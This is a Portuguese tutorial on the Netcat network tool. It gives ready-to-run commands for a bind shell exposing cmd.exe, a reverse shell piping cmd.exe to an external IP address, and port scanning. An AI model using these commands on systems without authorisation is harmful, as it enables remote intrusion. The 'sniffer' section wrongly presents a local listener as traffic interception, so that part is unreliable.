O Netcat é uma ferramenta simples e eficaz para realização de consultoria em redes. Devido à sua versatilidade, o programa chegou a ser considerado o canivete suíço do TCP/IP pela maioria dos usuários, principalmente hackers. Possui versões para Linux e Windows. Obtenha a versão Windows clicando aqui.
Uma vez baixado e extraído, você deverá acessar o programa a partir do prompt de comando. Para fazer isso, acesse, primeiramente, o diretório, com o comando cd diretório. Veja um exemplo:
cd c:\windows\system32\
Nesse caso, o executável do Netcat está na pasta system32. Poderia estar em qualquer outro diretório, até mesmo no desktop, ou pastas dos Meus Documentos. Estando dentro do diretório, que contém o executável, basta você dar os comandos específicos do programa, como mostrado logo mais.
Obs.: Se você copiou o executável para a pasta system32, não precisará dar o comando para acessar o diretório, quando for utilizar o programa.
O funcionamento básico do programa pode ser comparado a um telnet (também presente em versões para ambas as plataformas). Com ele você pode se conectar a qualquer porta de um micro que esteja rodando determinado serviço. O diferencial do Netcat em relação ao telnet, está no fato dele possuir várias opções adicionais. Com ele você pode se conectar ao shell de um sistema remoto, fazer um escaneamento de portas, um sniffing, etc.
Por se tratar de um programa em modo texto, ele precisa ser chamado da mesma forma que os executáveis do sistema, dando-se o nome, seguido dos parâmetros. Veja uma lista com a função de alguns deles:
-d: coloca o netcat em modo furtivo, desligado do console.
-e: especifica um programa a ser executado (Ex.: nc -e cmd.exe).
-h: lista todas as opções do programa(Ex.: nc -h).
-l: coloca uma porta em estado de escuta.
-L: coloca uma porta em estado de escuta avançado. Reconecta se a conexão cair.
-n: não retorna domínios, só IPs.
-o: gera um log do tráfego em hexadecimal.
-p: define uma porta local (Ex.: nc -p 14).
-v: ativa o recebimento de eco, que permite saber o que está acontecendo no sistema durante a execução de determinado comando. Recomenda-se utilizá-lo duas vezes(Ex.: nc -vv).
Acessando um shell remoto
Conexão direta
O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc...
O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos.
No micro que será acessado, abra o prompt de comando e digite o seguinte código:
nc -L -p 14 -vv -e cmd.exe
No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois "Vs" com um "W") permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema. Veja:
Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite:
nc IPdoservidor 14
Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim:
nc 192.168.1.2 14
Se você não possui dois ou mais computadores, experimente usar o endereço de loopback 127.0.0.1, ou então o IP do seu próprio micro.
Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja:
telnet 192.168.1.2 14
Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc...
Conexão reversa
A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta estejam, tanto é, que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los?
Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat:
O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando.
Na primeira digite:
nc -L -p 14 -vv
Este comando fará o programa escutar de modo avançado na porta 14.
E na segunda:
nc -L -p 15 -vv
O comando fará o mesmo que o anterior, mas escutará a porta 15.
Veja as duas janelas do shell:
Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá "puxar" o shell do sistema do servidor. O código abaixo deve ser rodado no servidor:
nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15
Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma:
nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15
Obs.: o sinal de pipe "|" serve para concatenar (relacionar) a saída de um comando para a entrada de outro.
Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Veja um exemplo, onde eu peço para mostrar os diretórios:
Realizando um escaneamento de portas
Entre algumas das opções adicionais do programa, está a possibilidade de se fazer um scanner de portas (veja um artigo completo sobre isso, clicando aqui), que consiste em procurar portas que, eventualmente estejam abertas em determinado computador. Na verdade ele realisará a função básica de um scanner de portas, que é sondá-las e verificar se estão ou não abertas. A sintaxe do comando é bem simples:
nc -vv [Endereço IP] [Intervalo de portas] "não considere os colchetes"
Por exemplo, se eu queira verificar quais portas estão abertas num micro com o IP 192.168.1.2, faria da seguinte forma:
nc -vv 192.168.1.2 1-65535
Isso é apenas um exemplo, você pode utilizar um intervalo menor, ou então especificar apenas algumas portas a serem verificadas, separando-as por espaços:
nc -vv 192.168.1.2 21 23 25 80 110
A análise do resultado é simples. Se a porta estiver aberta, no final da linha aparecerá "open", caso contrário, será exibido "connection refused".
Sniffer com o Netcat
Sniffers são programas utilizados para interceptar e registrar o tráfego de dados em uma rede de computadores. Em outras palavras, eles "farejam" e registram tudo o que passa pela rede. Para utilizá-los, é imprescindível que ele seja instalado no mesmo segmento de rede, onde você quer obter os dados.
Veja um exemplo de como fazer um sniffing com o Netcat:
nc -L -vv 127.0.0.1 -p 21
O código acima irá registrar todo o tráfego realizado na porta 21 (FTP). Se você quiser gravar todas as informações obtidas num arquivo de texto, digite o mesmo comando acima, porém acrescentando o diretório para salvar (veja em negrito):
nc -L -vv 127.0.0.1 -p 21 > c:\sniffing.txt